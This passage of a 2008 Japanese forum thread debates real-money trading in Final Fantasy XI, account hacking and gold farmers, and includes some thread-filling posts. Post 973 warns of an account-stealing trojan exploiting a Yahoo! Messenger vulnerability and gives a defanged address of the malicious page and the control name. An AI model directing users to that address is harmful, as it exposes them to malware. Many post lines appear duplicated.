935 ：既にその名前は使われています：2008/02/15(金) 09:58:23.83 ID:eq76+1YY
怒られた上、ムダに金払ってんのに「勝ち」と思えるアホがRMTer
パチンコですった上に学校にもバレて厳重注意されたってのに
「パチンコ楽しんだし退学にもならなかったから俺の勝ちｗｗｗｗ」って
どんだけＤＱＮ思考だよ
パチンコですった上に学校にもバレて厳重注意されたってのに
「パチンコ楽しんだし退学にもならなかったから俺の勝ちｗｗｗｗ」って
どんだけＤＱＮ思考だよ
936 ：既にその名前は使われています：2008/02/15(金) 10:23:14.98 ID:tewNXPX9
>>935
例えになってない。低脳っプリ発揮したな
例えになってない。低脳っプリ発揮したな
937 ：既にその名前は使われています：2008/02/15(金) 10:28:37.74 ID:11p1ohk9
>>935
そうか？
そうか？
938 ：既にその名前は使われています：2008/02/15(金) 10:32:14.13 ID:xkepRw8X
>>936
このスレでRMTしたとか言う馬鹿よりは遙かに高尚
このスレでRMTしたとか言う馬鹿よりは遙かに高尚
939 ：既にその名前は使われています：2008/02/15(金) 10:44:09.06 ID:I+sRcsDw
>938
このスレで言うことが大事なんですよ。
お仕事なんですから。
このスレで言うことが大事なんですよ。
お仕事なんですから。
940 ：既にその名前は使われています：2008/02/15(金) 10:50:59.37 ID:vPibCErw
RMTを否定するやつは何が理由？正当に稼いだギルを売る分には構わないんじゃないかな？
俺は否定派でも肯定派でもない。
やりたきゃやれ、いやならやるな。
やるならすべて自己責任でやれ。
俺は否定派でも肯定派でもない。
やりたきゃやれ、いやならやるな。
やるならすべて自己責任でやれ。
941 ：既にその名前は使われています：2008/02/15(金) 10:54:19.09 ID:eq76+1YY
>>940
また出たよ「自己責任ならｏｋ」論者が。
他人に迷惑かかるからやるな、ってだけのことがどうして分からないかねえ？
自由ってのは他者に迷惑を掛けない範囲でだけ許されてんだよ
他人の家の庭でウンコする自由なんて無い
また出たよ「自己責任ならｏｋ」論者が。
他人に迷惑かかるからやるな、ってだけのことがどうして分からないかねえ？
自由ってのは他者に迷惑を掛けない範囲でだけ許されてんだよ
他人の家の庭でウンコする自由なんて無い
942 ：既にその名前は使われています：2008/02/15(金) 10:57:53.19 ID:11p1ohk9
943 ：既にその名前は使われています：2008/02/15(金) 10:58:06.58 ID:MDMaRC8q
さあ残り13時間、がんばって盛り上げてくれ、ID:vPibCErw
944 ：既にその名前は使われています：2008/02/15(金) 11:08:26.07 ID:BQKxF23M
945 ：既にその名前は使われています：2008/02/15(金) 11:13:26.14 ID:BtFSgleF
ようはブラウザでJava Scrpt、JAVA、ActiveXを切っておき、
怪しいファイルは実行しなければほぼトロイなんてかからない
と思うんですが・・・あってます？
もち漫画喫茶も使用しない。
怪しいファイルは実行しなければほぼトロイなんてかからない
と思うんですが・・・あってます？
もち漫画喫茶も使用しない。
946 ：既にその名前は使われています：2008/02/15(金) 11:15:27.35 ID:11p1ohk9
947 ：既にその名前は使われています：2008/02/15(金) 11:24:08.81 ID:BQKxF23M
>>946
俺自身はやる気もないし、したいとも思わないけど
業者云々とRMTは分けて考えるものだと思うけどな。
極端な話、友達に昼飯おごるからアイテムくれっていうのもRMTみたいなもんだし。
FFでは禁止されてる以上、やった人間はBANされても文句は言えないし
そういう意味での自己責任でしょ。でも、RMTが悪ってわけじゃないと思うぞ。
俺自身はやる気もないし、したいとも思わないけど
業者云々とRMTは分けて考えるものだと思うけどな。
極端な話、友達に昼飯おごるからアイテムくれっていうのもRMTみたいなもんだし。
FFでは禁止されてる以上、やった人間はBANされても文句は言えないし
そういう意味での自己責任でしょ。でも、RMTが悪ってわけじゃないと思うぞ。
948 ：既にその名前は使われています：2008/02/15(金) 11:33:32.04 ID:xkepRw8X
>>947
何この理論破堤
何この理論破堤
949 ：既にその名前は使われています：2008/02/15(金) 11:37:27.19 ID:vPibCErw
そんなに嫌ならスクエニにギルのトレード、宅配を出来ないようにしてもらえばいい。
要望みんなで送っとけ
要望みんなで送っとけ
950 ：既にその名前は使われています：2008/02/15(金) 11:38:11.91 ID:vPibCErw
ついでにバザー、競売もなくしてもらえ
951 ：既にその名前は使われています：2008/02/15(金) 11:39:04.71 ID:eq76+1YY
>>944
「他人に迷惑だから」反対してるし
「他人に迷惑だから」規約で禁止されてるんだよ
ＲＭＴで他人に迷惑がかからないだぁ？
ＳＴＴ設立以前、ＲＭＴが隆盛してころ
ギル稼ぎ目的の業者、ハンター、ファーマーを呼び寄せ、モラルが崩壊したり
過度のインフレでゲーム世界の経済が崩壊してたことを、どう思うんだよ
あれが「迷惑」じゃないってんなら、ドＭどころか精神が破綻してるぞ
「他人に迷惑だから」反対してるし
「他人に迷惑だから」規約で禁止されてるんだよ
ＲＭＴで他人に迷惑がかからないだぁ？
ＳＴＴ設立以前、ＲＭＴが隆盛してころ
ギル稼ぎ目的の業者、ハンター、ファーマーを呼び寄せ、モラルが崩壊したり
過度のインフレでゲーム世界の経済が崩壊してたことを、どう思うんだよ
あれが「迷惑」じゃないってんなら、ドＭどころか精神が破綻してるぞ
952 ：既にその名前は使われています：2008/02/15(金) 11:42:00.44 ID:eq76+1YY
953 ：既にその名前は使われています：2008/02/15(金) 11:47:40.73 ID:vPibCErw
迷惑だと感じている人間ばかりではないということも理解したほうがいい
954 ：既にその名前は使われています：2008/02/15(金) 11:51:59.84 ID:vPibCErw
めいわくだとかんじているものもいるようにありがたいとかんじているにんげんもいるんだなぁ よしお
955 ：既にその名前は使われています：2008/02/15(金) 11:53:08.08 ID:Y8C9Qt4h
>>953
で？
で？
956 ：既にその名前は使われています：2008/02/15(金) 11:53:34.04 ID:5Z2v7aUx
ギルの宅配制限に引っかかるほどギル持ってないので
迷惑でもなんでもないぜ!
迷惑でもなんでもないぜ!
957 ：既にその名前は使われています：2008/02/15(金) 11:57:25.36 ID:eq76+1YY
>>953
「俺はウンコのにおいキライじゃない」ですか。
お前がドＭだってことは分かったけど、それが何の関係があるんだよ。
だから俺やその他大多数にもガマンしろと言うわけ？
しかも迷惑かけてる御本人様が。何様だよ
「俺はウンコのにおいキライじゃない」ですか。
お前がドＭだってことは分かったけど、それが何の関係があるんだよ。
だから俺やその他大多数にもガマンしろと言うわけ？
しかも迷惑かけてる御本人様が。何様だよ
958 ：既にその名前は使われています：2008/02/15(金) 11:57:42.91 ID:sm+/zwT/
RMTを迷惑だと感じているのは一部の廃人だろ？
959 ：既にその名前は使われています：2008/02/15(金) 11:59:06.82 ID:sm+/zwT/
>>957
きみは物の例えがおかしい。日本人じゃないだろ
きみは物の例えがおかしい。日本人じゃないだろ
960 ：既にその名前は使われています：2008/02/15(金) 12:02:33.71 ID:Y8C9Qt4h
RMTする奴が居るから、垢ハック起きてるのぜ？
ハックされる奴が悪いって言うかも知れないが、RMTなきゃ起こらないんだよ
RMTは業者と切り離して考えられるが、業者とはRMTと切り離して考えられない
ハックされる奴が悪いって言うかも知れないが、RMTなきゃ起こらないんだよ
RMTは業者と切り離して考えられるが、業者とはRMTと切り離して考えられない
961 ：既にその名前は使われています：2008/02/15(金) 12:08:46.61 ID:vGfBTS7h
業者さんがお戻りになったようですね
加速するようだったら埋め立てられる前に次スレ用意しないとな
加速するようだったら埋め立てられる前に次スレ用意しないとな
962 ：既にその名前は使われています：2008/02/15(金) 12:37:42.21 ID:5Z2v7aUx
>>961
言い出しっぺの法則でよろ
言い出しっぺの法則でよろ
963 ：既にその名前は使われています：2008/02/15(金) 13:03:18.76 ID:sm+/zwT/
964 ：既にその名前は使われています：2008/02/15(金) 13:05:36.69 ID:CNr8odM7
メディアに取り上げられる日本人垢ハッカーは自分のキャラ強化が目的だったね。
965 ：既にその名前は使われています：2008/02/15(金) 13:46:11.75 ID:sXCdLsKr
RMT目的の垢ハックの割合はかなり高いと思われ
９割９分以上と妄想してみた
９割９分以上と妄想してみた
966 ：既にその名前は使われています：2008/02/15(金) 14:07:38.98 ID:8hHof9Tb
まあ、そろそろ収束はしていきそうだけどな。
例のパス抜きウイルス作ったゆとり大学生の、ウイルス製作ソフトを解析してる所らしいし。
これが出来たら今流行ってる中華産ウイルスの殆どを駆除出来るそうな。
ってか、中華はこのソフト無しにウイルス作れないってどれだけゆとりってるんだよwwwwww
新聞社も中華に対しての切り札の一枚にしてるらしいし、
業者も後がなくて必死さがよく伝わるwwwww
例のパス抜きウイルス作ったゆとり大学生の、ウイルス製作ソフトを解析してる所らしいし。
これが出来たら今流行ってる中華産ウイルスの殆どを駆除出来るそうな。
ってか、中華はこのソフト無しにウイルス作れないってどれだけゆとりってるんだよwwwwww
新聞社も中華に対しての切り札の一枚にしてるらしいし、
業者も後がなくて必死さがよく伝わるwwwww
967 ：既にその名前は使われています：2008/02/15(金) 15:16:10.87 ID:DBNJfEw7
968 ：既にその名前は使われています：2008/02/15(金) 15:29:05.63 ID:5Z2v7aUx
969 ：既にその名前は使われています：2008/02/15(金) 16:08:03.11 ID:fAn7eyi8
スキルあるなら、なぜまともな会社で仕事しないんだろう？
不思議
不思議
970 ：既にその名前は使われています：2008/02/15(金) 16:14:10.72 ID:5Z2v7aUx
まともな会社より儲かるんじゃねーの?
関税かかんねーし
関税かかんねーし
971 ：既にその名前は使われています：2008/02/15(金) 16:30:28.54 ID:H1dUeMED
>>969
脛に傷持つ人間を一般企業は雇ってくれない。
自転車泥棒程度でも前科有りだと書類選考で落とす企業は多いよ。
かといって低賃金でブラック企業行く気もしない。
そんな時893系が高級で雇うといってきたら・・・？
脛に傷持つ人間を一般企業は雇ってくれない。
自転車泥棒程度でも前科有りだと書類選考で落とす企業は多いよ。
かといって低賃金でブラック企業行く気もしない。
そんな時893系が高級で雇うといってきたら・・・？
972 ：既にその名前は使われています：2008/02/15(金) 16:37:18.10 ID:5Z2v7aUx
雇用枠も無限にあるわけじゃないしね。
973 ：既にその名前は使われています：2008/02/15(金) 17:41:08.58 ID:5Z2v7aUx
ROアカハックスレより。
Yahoo!Messengerの脆弱性「も」使うアカハックトロイがちょろちょろ出てきた。
www■infosueek■com/xin/Yahoo■htm
のソース読みで「YWcUpl.WcUpload」とのことなので
半年ほど前のwebcam関連かと思われ。
ttp://messenger.yahoo.co.jp/notice.html
国内だと利用者少ない気もするけど使ってる人はバージョンアップしましょう
(使ってなくてもインストールされていれば発動する)。
ところでRealPlayerはいつまで放置なんだ…。
Yahoo!Messengerの脆弱性「も」使うアカハックトロイがちょろちょろ出てきた。
www■infosueek■com/xin/Yahoo■htm
のソース読みで「YWcUpl.WcUpload」とのことなので
半年ほど前のwebcam関連かと思われ。
ttp://messenger.yahoo.co.jp/notice.html
国内だと利用者少ない気もするけど使ってる人はバージョンアップしましょう
(使ってなくてもインストールされていれば発動する)。
ところでRealPlayerはいつまで放置なんだ…。
974 ：既にその名前は使われています：2008/02/15(金) 19:50:25.70 ID:UK60JyuA
>>967
乙
乙
975 ：既にその名前は使われています：2008/02/15(金) 21:19:58.10 ID:cK8XiCxe
293な上に１時間ばかり書き込みがないのでsage保守
976 ：既にその名前は使われています：2008/02/15(金) 22:26:14.45 ID:cK8XiCxe
300は危険な気もするのでsage保守
977 ：既にその名前は使われています：2008/02/15(金) 22:49:54.58 ID:CixPSLR1
うめうめ
978 ：既にその名前は使われています：2008/02/15(金) 22:56:00.15 ID:cK8XiCxe
いざ埋めるとなるとなかなか埋まらない件
979 ：既にその名前は使われています：2008/02/15(金) 22:58:04.97 ID:5Z2v7aUx
埋め
980 ：既にその名前は使われています：2008/02/15(金) 23:05:20.79 ID:cK8XiCxe
楳
981 ：既にその名前は使われています：2008/02/15(金) 23:47:29.79 ID:cK8XiCxe
うまる前に落ちそうだけどまぁいいか…
982 ：既にその名前は使われています：2008/02/15(金) 23:57:49.34 ID:huNPwDRN
せっかくなので完走支援age
983 ：既にその名前は使われています：2008/02/16(土) 00:16:02.03 ID:HYad2Y75
生め
984 ：既にその名前は使われています：2008/02/16(土) 04:37:11.16 ID:z3MYfXRP
うめ ＠１６ 果たして埋まるのか？
985 ：既にその名前は使われています：2008/02/16(土) 04:44:58.16 ID:Bhq/D5Tx
うめめ
986 ：既にその名前は使われています：2008/02/16(土) 07:54:16.37 ID:SjDesMLz
新スレよりもこっちの方が最終書き込み新しいって本末転倒も甚だしい。
987 ：既にその名前は使われています：2008/02/16(土) 09:45:43.68 ID:BVZth1k4
うめるか
988 ：既にその名前は使われています：2008/02/16(土) 11:51:24.55 ID:HYad2Y75
うん。うめましょう。
989 ：既にその名前は使われています：2008/02/16(土) 12:15:57.97 ID:SjDesMLz
うま～
990 ：既にその名前は使われています：2008/02/16(土) 12:30:02.60 ID:nVk/r3G7
>>969
中国では政策とかの関係で、理系大学出の技術者が大量に職にあぶれてるんだとさ
その上、周知の通り日本と中国とは物価が違うもんだから
大卒の優秀な人材をＲＭＴ業に注ぎ込んでも充分利益が出るという訳
実際に働いてる？のは教育もない労働者だろうけど、ね
中国では政策とかの関係で、理系大学出の技術者が大量に職にあぶれてるんだとさ
その上、周知の通り日本と中国とは物価が違うもんだから
大卒の優秀な人材をＲＭＴ業に注ぎ込んでも充分利益が出るという訳
実際に働いてる？のは教育もない労働者だろうけど、ね
991 ：既にその名前は使われています：2008/02/16(土) 13:18:34.47 ID:+xoOumvQ
梅
992 ：既にその名前は使われています：2008/02/16(土) 13:19:43.01 ID:5JAjCqRr
1000なら業者に就職・・・
うめうめ